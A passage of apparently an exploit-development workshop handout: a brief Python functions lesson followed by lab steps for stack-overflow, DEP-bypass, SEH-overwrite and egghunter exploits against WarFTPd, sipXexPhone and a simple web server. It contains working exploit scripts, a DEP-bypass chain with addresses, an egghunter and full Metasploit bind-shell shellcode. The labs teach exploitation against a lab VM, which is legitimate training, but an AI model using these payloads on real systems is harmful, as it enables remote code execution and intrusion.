  7568.  
  7569. #############
  7570. # Functions #
  7571. #############
  7572.  
  7573.  
  7574. ***********************
  7575. * What are Functions? *
  7576. ***********************
  7577.  
  7578.  
  7579. Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
  7580.  
  7581. How do you write functions in Python?
  7582.  
  7583. Python makes use of blocks.
  7584.  
  7585. A block is a area of code of written in the format of:
  7586.  
  7587. block_head:
  7588.    
  7589.      1st block line
  7590.    
  7591.      2nd block line
  7592.    
  7593.      ...
  7594.  
  7595.  
  7596. Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
  7597.  
  7598. Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
  7599.  
  7600. def my_function():
  7601.    print("Hello From My Function!")
  7602.  
  7603.  
  7604. Functions may also receive arguments (variables passed from the caller to the function). For example:
  7605.  
  7606. def my_function_with_args(username, greeting):
  7607.    print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
  7608.  
  7609.  
  7610. Functions may return a value to the caller, using the keyword- 'return' . For example:
  7611.  
  7612. def sum_two_numbers(a, b):
  7613.    return a + b
  7614.  
  7615.  
  7616. ****************************************
  7617. * How do you call functions in Python? *
  7618. ****************************************
  7619.  
  7620. Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
  7621.  
  7622. # Define our 3 functions
  7623. ---------------------------Paste This-----------------------------------
  7624.  
  7625. def my_function():
  7626.    print("Hello From My Function!")
  7627.  
  7628. def my_function_with_args(username, greeting):
  7629.    print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
  7630.  
  7631. def sum_two_numbers(a, b):
  7632.    return a + b
  7633.  
  7634. # print(a simple greeting)
  7635. my_function()
  7636.  
  7637. #prints - "Hello, Joe, From My Function!, I wish you a great year!"
  7638. my_function_with_args("Joe", "a great year!")
  7639.  
  7640. # after this line x will hold the value 3!
  7641. x = sum_two_numbers(1,2)
  7642. -----------------------------------------------------------------------
  7643.  
  7644.  
  7645. ************
  7646. * Exercise *
  7647. ************
  7648.  
  7649. In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
  7650.  
  7651. Add a function named list_benefits() that returns the following list of strings: "More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"
  7652.  
  7653. Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
  7654.  
  7655. Run and see all the functions work together!
  7656.  
  7657.  
  7658. ---------------------------Paste This-----------------------------------
  7659.  
  7660. # Modify this function to return a list of strings as defined above
  7661. def list_benefits():
  7662.    pass
  7663.  
  7664. # Modify this function to concatenate to each benefit - " is a benefit of functions!"
  7665. def build_sentence(benefit):
  7666.    pass
  7667.  
  7668. def name_the_benefits_of_functions():
  7669.    list_of_benefits = list_benefits()
  7670.    for benefit in list_of_benefits:
  7671.        print(build_sentence(benefit))
  7672.  
  7673. name_the_benefits_of_functions()
  7674.  
  7675.  
  7676. -----------------------------------------------------------------------
  7677.  
  7678.  
  7679.  
  7680. Broken link
  7681.  
  7682. Please download this file to your Windows host machine, and extract it to your Desktop.
  7683. http://45.63.104.73/ED-Workshop-Files.zip
  7684.  
  7685.  
  7686.  
  7687.  
  7688.  
  7689. ###########################
  7690. # Lab 1a: Stack Overflows #
  7691. ###########################
  7692.  
  7693.    #############################
  7694.    # Start WarFTPd             #
  7695.    # Start WinDBG              #
  7696.    # Press F6                  #
  7697.    # Attach to war-ftpd.exe    #
  7698.    #############################
  7699. ---------------------------Type This-----------------------------------
  7700.  
  7701. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a
  7702.  
  7703.  
  7704. python warftpd1.py | nc XPSP3-ED-Target-IP 21
  7705.  
  7706.  
  7707.    At WINDBG prompt
  7708.    “r” to show registers or “alt+4”
  7709.    dd esp
  7710.  
  7711. -----------------------------------------------------------------------
  7712. ---------------------------Type This-----------------------------------
  7713.  
  7714. python warftpd2.py | nc XPSP3-ED-Target-IP 21
  7715.  
  7716.  
  7717.    At WINDBG prompt
  7718.    “r” to show registers or “alt+4”
  7719.    dd esp
  7720. -----------------------------------------------------------------------
  7721.  
  7722.    Eip: 32714131
  7723.    esp: affd58     (71413471)
  7724.  
  7725.    Now we need to SSH into the StrategicSec Ubuntu host
  7726. ---------------------------Type This-----------------------------------
  7727.  
  7728.    cd /home/strategicsec/toolz/metasploit/tools/exploit
  7729.  
  7730.    ruby pattern_offset.rb 32714131
  7731.    485
  7732.  
  7733.    ruby pattern_offset.rb 71413471
  7734.    493
  7735. -----------------------------------------------------------------------
  7736.  
  7737.    Distance to EIP is:         485
  7738.    Relative position of ESP is:    493
  7739.  
  7740.    RET – POP EIP
  7741.    RET 4 – POP EIP and shift ESP down by 4 bytes
  7742.  ---------------------------Type This-----------------------------------
  7743.  
  7744.    cd /home/strategicsec/toolz/metasploit/
  7745.    ./msfpescan -j ESP DLLs/xpsp3/shell32.dll
  7746. -----------------------------------------------------------------------
  7747.  
  7748.        0x7c9c167d push esp; retn 0x304d
  7749.        0x7c9d30d7 jmp esp < - how about we use this one
  7750.        0x7c9d30eb jmp esp
  7751.        0x7c9d30ff jmp esp
  7752.  
  7753.  
  7754.        warftpd3.py with Notepad++
  7755.        Fill in the appropriate values
  7756.        Distance to EIP
  7757.        Address of JMP ESP
  7758.  
  7759.  
  7760.  ---------------------------Type This-----------------------------------
  7761.  
  7762. python warftpd3.py | nc XPSP3-ED-Target-IP 21
  7763.  
  7764.    0:003> dd eip
  7765.    0:003> dd esp
  7766.  
  7767. -----------------------------------------------------------------------
  7768.  
  7769.  
  7770.  
  7771.  
  7772.    Mention bad characters
  7773.    No debugger
  7774.  
  7775.  ---------------------------Type This-----------------------------------
  7776.  
  7777.  
  7778. python warftpd4.py | nc XPSP3-ED-Target-IP 21
  7779.  
  7780. nc XPSP3-ED-Target-IP 4444
  7781.  
  7782.  -----------------------------------------------------------------------
  7783.  
  7784.  
  7785.  
  7786.  
  7787. There are 2 things that can go wrong with shellcode. The first thing is a lack of space, and the second is bad characters.
  7788.  
  7789. Shellcode test 1: Calculate space for shellcode
  7790. Look in the warftpd3.py script for the shellcode variable. Change the length of the shellcode being send to test how much you can send before the CCs truncate.
  7791.  
  7792.  
  7793.  
  7794.  
  7795.  
  7796. Shellcode test 2: Identify bad characters
  7797.  
  7798. Replace the INT3 (cc) dummy shellcode with this string:
  7799.  ---------------------------Type This-----------------------------------
  7800.  
  7801. "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
  7802.  
  7803.  -----------------------------------------------------------------------
  7804.  
  7805. Send this new shellcode string and identify the places where it truncates - these are the bad characters
  7806.  
  7807.  
  7808.  
  7809.  
  7810. Here is what the string looks like after I manually tested and removed each of the bad characters:
  7811.  ---------------------------Type This-----------------------------------
  7812.  
  7813. shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
  7814.  
  7815.  -----------------------------------------------------------------------
  7816.  
  7817.  
  7818.   ---------------------------Type This-----------------------------------
  7819.  
  7820. ./msfvenom -p windows/shell/bind_tcp -f python -b '\x00\x0a\x0d\x40'
  7821.  
  7822.   -----------------------------------------------------------------------
  7823.  
  7824.  
  7825.  
  7826.  
  7827. ###########################################
  7828. # Lab 1b: Stack Overflows with DEP Bypass #
  7829. ###########################################
  7830.  
  7831. Reboot your target host and choose the "2nd" option for DEP.
  7832.  
  7833.   ---------------------------Type This-----------------------------------
  7834.  
  7835. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b
  7836.  
  7837.  
  7838.  
  7839.  
  7840. python warftpd1.py | nc XPSP3-ED-Target-IP 21
  7841.  
  7842.    At WINDBG prompt
  7843.    “r” to show registers or “alt+4”
  7844.  
  7845.    dd esp
  7846.  
  7847.   -----------------------------------------------------------------------
  7848.  
  7849.   ---------------------------Type This-----------------------------------
  7850.  
  7851. python warftpd2.py | nc XPSP3-ED-Target-IP 21
  7852.  
  7853.  
  7854.    At WINDBG prompt
  7855.    “r” to show registers or “alt+4”
  7856.    dd esp
  7857.   -----------------------------------------------------------------------
  7858.  
  7859.    Eip: 32714131
  7860.    esp: affd58     (71413471)
  7861.  
  7862.    Now we need to SSH into the StrategicSec Ubuntu host
  7863.    ---------------------------Type This-----------------------------------
  7864.  
  7865.    cd /home/strategicsec/toolz/metasploit/tools/exploit
  7866.  
  7867.    ruby pattern_offset.rb 32714131
  7868.    485
  7869.  
  7870.    ruby pattern_offset.rb 71413471
  7871.    493
  7872.  
  7873.  
  7874.  
  7875.  
  7876.  
  7877.  
  7878.  
  7879.  
  7880. cd /home/strategicsec/toolz/metasploit/tools/exploit
  7881.  
  7882. ruby pattern_offset.rb 32714131
  7883.  
  7884. cd /home/strategicsec/toolz/metasploit/
  7885.  
  7886. ./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
  7887.  
  7888.  
  7889.  
  7890. python warftpd3.py | nc XPSP3-ED-Target-IP 21
  7891.  
  7892.    0:003> dd eip
  7893.    0:003> dd esp
  7894. -----------------------------------------------------------------------
  7895.  
  7896. INT3s - GOOD!!!!!!!
  7897.  
  7898. ---------------------------Type This-----------------------------------
  7899.  
  7900.  
  7901. python warftpd4.py | nc XPSP3-ED-Target-IP 21
  7902.  
  7903. nc XPSP3-ED-Target-IP 4444
  7904. -----------------------------------------------------------------------
  7905.  
  7906.  
  7907. strategicsec....exploit no workie!!!!
  7908.  
  7909.  
  7910. Why????????? DEP!!!!!!!!!!!!!
  7911.  
  7912.  
  7913.  
  7914.  
  7915. Let's look through ole32.dll for the following instructions:
  7916.  
  7917. mov al,0x1
  7918. ret 0x4
  7919.  
  7920. We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
  7921.  
  7922.  
  7923. ---------------------------Type This-----------------------------------
  7924.  
  7925. ./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
  7926. -----------------------------------------------------------------------
  7927.  
  7928. [DLLs/xpsp3/ole32.dll]
  7929. 0x775ee00e b001c204
  7930. 0x775ee00e      mov al, 1
  7931. 0x775ee010      ret 4
  7932.  
  7933.  
  7934. Then we need to jump to the LdrpCheckNXCompatibility routine in
  7935. ntdll.dll that disables DEP.
  7936.  
  7937.  
  7938.  
  7939. Inside of ntdll.dll we need to find the following instructions:
  7940.  
  7941. CMP AL,1
  7942. PUSH 2
  7943. POP ESI
  7944. JE ntdll.7
  7945.  
  7946. ---------------------------Type This-----------------------------------
  7947.  
  7948.  
  7949. ./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
  7950. -----------------------------------------------------------------------
  7951.  
  7952. [DLLs/xpsp3/ntdll.dll]
  7953. 0x7c91cd24 3c016a025e0f84
  7954. 0x7c91cd24      cmp al, 1
  7955. 0x7c91cd26      push 2
  7956. 0x7c91cd28      pop esi
  7957. 0x7c91cd29      jz 7
  7958.  
  7959.  
  7960. This set of instructions makes sure that AL is set to 1, 2 is pushed
  7961. on the stack then popped into ESI.
  7962.  
  7963.  
  7964.  
  7965. ---------------------------Paste This-----------------------------------
  7966.  
  7967.  
  7968. dep = "\x0e\xe0\x5e\x77"+\
  7969. "\xff\xff\xff\xff"+\
  7970. "\x24\xcd\x91\x7c"+\
  7971. "\xff\xff\xff\xff"+\
  7972. "A"*0x54
  7973.  
  7974. -----------------------------------------------------------------------
  7975.  
  7976.  
  7977.    #############################
  7978.    # Start WarFTPd             #
  7979.    # Start WinDBG              #
  7980.    # Press F6                  #
  7981.    # Attach to war-ftpd.exe    #
  7982.    # bp 0x775ee00e             #
  7983.    # g                         #
  7984.    #############################
  7985.  
  7986.  
  7987. ---------------------------Type This-----------------------------------
  7988.  
  7989.  
  7990. python warftpd5.py | nc XPSP3-ED-Target-IP 21
  7991.  
  7992. -----------------------------------------------------------------------
  7993. We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
  7994.  
  7995.    mov al,0x1
  7996.    ret 0x4
  7997.  
  7998.  
  7999.  
  8000.  
  8001. 0:005> g
  8002. Breakpoint 0 hit
  8003. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  8004. eip=775ee00e esp=00affd58 ebp=00affdb0 iopl=0         nv up ei pl nz ac pe nc
  8005. cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
  8006. ole32!CSSMappedStream::IsWriteable:
  8007. 775ee00e b001            mov     al,1
  8008.  
  8009.  
  8010. 0:001> t
  8011. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  8012. eip=775ee010 esp=00affd58 ebp=00affdb0 iopl=0         nv up ei pl nz ac pe nc
  8013. cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
  8014. ole32!CSSMappedStream::IsWriteable+0x2:
  8015. 775ee010 c20400          ret     4
  8016.  
  8017.  
  8018.  
  8019.  
  8020.  
  8021. ---------------------------------------------------------------------------
  8022. Ok, so inside of ntdll.dll we need to find the following instructions:
  8023.  
  8024.    CMP AL,1
  8025.    PUSH 2
  8026.    POP ESI
  8027.    JE ntdll.7
  8028.  
  8029. 0:001> t
  8030. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  8031. eip=7c91cd24 esp=00affd60 ebp=00affdb0 iopl=0         nv up ei pl nz ac pe nc
  8032. cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
  8033. ntdll!LdrpCheckNXCompatibility+0x13:
  8034. 7c91cd24 3c01            cmp     al,1
  8035.  
  8036.  
  8037. 0:001> t
  8038. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  8039. eip=7c91cd26 esp=00affd60 ebp=00affdb0 iopl=0         nv up ei pl zr na pe nc
  8040. cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
  8041. ntdll!LdrpCheckNXCompatibility+0x15:
  8042. 7c91cd26 6a02            push    2
  8043.  
  8044.  
  8045. 0:001> t
  8046. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
  8047. eip=7c91cd28 esp=00affd5c ebp=00affdb0 iopl=0         nv up ei pl zr na pe nc
  8048. cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
  8049. ntdll!LdrpCheckNXCompatibility+0x17:
  8050. 7c91cd28 5e              pop     esi
  8051.  
  8052.  
  8053. 0:001> t
  8054. eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=00000002 edi=00affe58
  8055. eip=7c91cd29 esp=00affd60 ebp=00affdb0 iopl=0         nv up ei pl zr na pe nc
  8056. cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
  8057. ntdll!LdrpCheckNXCompatibility+0x18:
  8058. 7c91cd29 0f84df290200    je      ntdll!LdrpCheckNXCompatibility+0x1a (7c93f70e) [br=1]
  8059.  
  8060.  
  8061. ---------------------------------------------------------------------------
  8062.  
  8063.  
  8064. ---------------------------Type This-----------------------------------
  8065.  
  8066. python warftpd5.py | nc XPSP3-ED-Target-IP 21
  8067.  
  8068. nc XPSP3-ED-Target-IP 4444
  8069.  
  8070. -----------------------------------------------------------------------
  8071.  
  8072. ##########################
  8073. # Lab 1c: SEH Overwrites #
  8074. ##########################
  8075.  
  8076.    #################################################
  8077.    # On our VictimXP Host (XPSP3-ED-Target-IP)     #
  8078.    # Start sipXexPhone if it isn’t already running #
  8079.    # Start WinDBG                                  #
  8080.    # Press “F6” and Attach to sipXexPhone.exe      #
  8081.    # Press “F5” to start the debugger              #
  8082.    #################################################
  8083.  
  8084. ---------------------------Type This-----------------------------------
  8085.  
  8086. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1c\sipx_complete
  8087.  
  8088.  
  8089.  
  8090. python sipex0.py XPSP3-ED-Target-IP
  8091.  
  8092.    0:003> !exchain
  8093.    0:003> dds esp
  8094.    0:003> dds
  8095.  
  8096. python sipex1.py XPSP3-ED-Target-IP
  8097.  
  8098.    0:003> !exchain
  8099.    0:003> g
  8100.  
  8101.    When looking at !exchain you should see that EIP is 41414141, so let’s add more characters.
  8102.  
  8103.  
  8104. python sipex2.py XPSP3-ED-Target-IP
  8105.  
  8106.    0:003> !exchain
  8107.    0:003> g
  8108.  
  8109.  
  8110.    ***ssh into instructor Ubuntu host***
  8111.    cd /home/strategicsec/toolz/metasploit/tools/exploit
  8112.    ruby pattern_offset.rb 41346941             We should see that SEH is at 252
  8113.  
  8114.  
  8115.  
  8116.    !load narly
  8117.    !nmod
  8118.  
  8119.    ***ssh into the Ubuntu host***
  8120.    ls /home/strategicsec/toolz/metasploit/DLLs/xpsp3/sipXDLLs/
  8121.    cd /home/strategicsec/toolz/metasploit/
  8122.    ./msfpescan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll
  8123.  
  8124.  -----------------------------------------------------------------------
  8125.  
  8126.    #####################################
  8127.    # sipex3.py in Notepad++.           #
  8128.    # Set cseq = 252                    #
  8129.    # Set seh2 address to: 0x10015977   #
  8130.    #####################################
  8131.  
  8132. ---------------------------Type This-----------------------------------
  8133.  
  8134. python sipex3.py XPSP3-ED-Target-IP
  8135.    0:003> !exchain
  8136.  
  8137. python sipex4.py XPSP3-ED-Target-IP
  8138.  
  8139.  
  8140.  
  8141. nc XPSP3-ED-Target-IP 4444
  8142.  
  8143. -----------------------------------------------------------------------
  8144.  
  8145.  
  8146.  
  8147.  
  8148. Brush up on the basics of Structured Exception Handlers:
  8149. http://www.securitytube.net/video/1406
  8150. http://www.securitytube.net/video/1407
  8151. http://www.securitytube.net/video/1408
  8152.  
  8153.  
  8154.  
  8155.  
  8156.  
  8157.  
  8158. ########################################
  8159. # Lab 2a: Not Enough Space (Egghunter) #
  8160. ########################################
  8161.  
  8162. ---------------------------Type This-----------------------------------
  8163.  
  8164. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\sws_skeleton
  8165. -----------------------------------------------------------------------
  8166.  
  8167. SWS - SIMPLE WEB SERVER
  8168. -----------------------
  8169.  
  8170. Running SWS on Strategicsec-XP-ED-Target-VM
  8171. Start > Programs > Simple Web Server (it's in the middle somewhere)
  8172. Red icon in system tray
  8173. Double click it
  8174. - it will pop up a menu
  8175. - select "start"
  8176. - dialog box shows starting params - port 82
  8177.  
  8178. WinDBG
  8179. - attach to "server.exe"
  8180.  
  8181. ---------------------------Type This-----------------------------------
  8182.  
  8183. python sws1.py | nc XPSP3-ED-Target-IP 82
  8184.  
  8185.  
  8186.  
  8187. python sws2.py | nc XPSP3-ED-Target-IP 82
  8188.  
  8189.  
  8190. SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
  8191. cd /home/strategicsec/toolz/metasploit/tools/exploit
  8192. ruby pattern_offset.rb 41356841             <------- You should see that EIP is at 225
  8193. ruby pattern_offset.rb 68413668             <------- You should see that ESP is at 229
  8194.  
  8195.  
  8196. -----------------------------------------------------------------------
  8197.  
  8198.  
  8199.  
  8200.  
  8201.  
  8202.  
  8203. EGGHUNTER:
  8204. ----------
  8205.  
  8206. "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
  8207. "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
  8208.          ^^^^^^^^^^^^^^^^
  8209.               ABBA
  8210.                                         JMP ESP
  8211.                                        /
  8212.                                       /
  8213. GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
  8214. User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
  8215.  
  8216.  
  8217.  
  8218.  
  8219. -----sws3.py-----
  8220. #!/usr/bin/python2
  8221.  
  8222. import os # for output setting
  8223. import sys
  8224. import struct # for pack function
  8225.  
  8226. # turn off output buffer and set binary mode
  8227. sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0)
  8228.  
  8229.  
  8230. pad = "A" * 225        # distance to EIP
  8231. eip = 0x7e429353       # replace EIP to point to "jmp esp" from user32.dll
  8232.  
  8233. egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
  8234. egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
  8235.  
  8236. shellcode = "\xCC" * 700
  8237.  
  8238. buf = "GET /"
  8239. buf += pad + struct.pack('<I', eip) + egghunter
  8240. buf += " HTTP/1.0\r\n"
  8241. buf += "User-Agent: ABBAABBA"
  8242. buf += shellcode
  8243. buf += " HTTP/1.0\r\n"
  8244.  
  8245. sys.stdout.write(buf)
  8246. -----
  8247.  
  8248.  
  8249.  
  8250.  
  8251. ############################################
  8252. # Lab 2b: Not Enough Space (Negative Jump) #
  8253. ############################################
  8254. ---------------------------Type This-----------------------------------
  8255.  
  8256. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\modjk_skeleton
  8257. -----------------------------------------------------------------------
  8258.  
  8259.  
  8260. [pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
  8261.  
  8262.                                                                        ^
  8263. 1 ----------------------1 overflow the buffer---------------------------|
  8264.                                                                      
  8265.                                                                        ^                            ^
  8266.                                                                        |
  8267.                                                                        2 ----jump over seh record---|
  8268.  
  8269.                                                                                                     ^                          ^      
  8270.                                                                                                     |
  8271.                                                                                                     3--POP 2 words off stack---|
  8272.  
  8273.                                                                                                                                        ^                                      
  8274. 4 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
  8275.  
  8276.  
  8277. #########################################
  8278. # Lab 2c: Not Enough Space (Trampoline) #
  8279. #########################################
  8280.  
  8281. cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
  8282. On the Strategicsec-XP-ED-Target-VM VM
  8283.  
  8284. - open a command prompt
  8285. - c:\software\tftpd32
  8286. - run tftpd32.exe
  8287. - UDP port 69
  8288. (socket code is already in the scripts)
  8289.  
  8290.  
  8291.  
  8292.  
  8293. On your attack host please install:
  8294.  
  8295.  
  8296.  NASM - Netwide Assembler
  8297.  
  8298.  
  8299.  
  8300.  
  8301.  
  8302. -----------------------------------------------------------------------------------------------------------------
  8303.  
  8304.  
  8305. We want to generate the shellcode (BIND SHELL on Port 4444)
  8306. - No restricted characters
  8307. - Encoder: NONE
  8308.  
  8309. Create a Python file called dumpshellcode.py
  8310.  
  8311. ---
  8312. #!/usr/bin/python2
  8313.  
  8314. import os
  8315. import sys
  8316. import struct
  8317.  
  8318.  
  8319. # win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
  8320. shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
  8321. shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
  8322. shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
  8323. shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
  8324. shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
  8325. shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
  8326. shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
  8327. shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
  8328. shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
  8329. shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
  8330. shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
  8331. shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
  8332. shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
  8333. shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
  8334. shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  8335. shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
  8336. shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
  8337. shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
  8338. shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
  8339. shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
  8340.  
  8341. sys.stdout.write(shellcode)
  8342. ---
  8343.  
  8344. ---------------------------Type This-----------------------------------
  8345.  
  8346.  
  8347. python dumpshell.py > bindshell.bin
  8348.  
  8349. copy bindshellcode.bin into the "c:\Program Files\nasm" directory
  8350. -----------------------------------------------------------------------
  8351.  
  8352.  
  8353.  
  8354. Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
  8355. 317 bindshell.bin
  8356. ---------------------------Type This-----------------------------------
  8357.  
  8358. C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
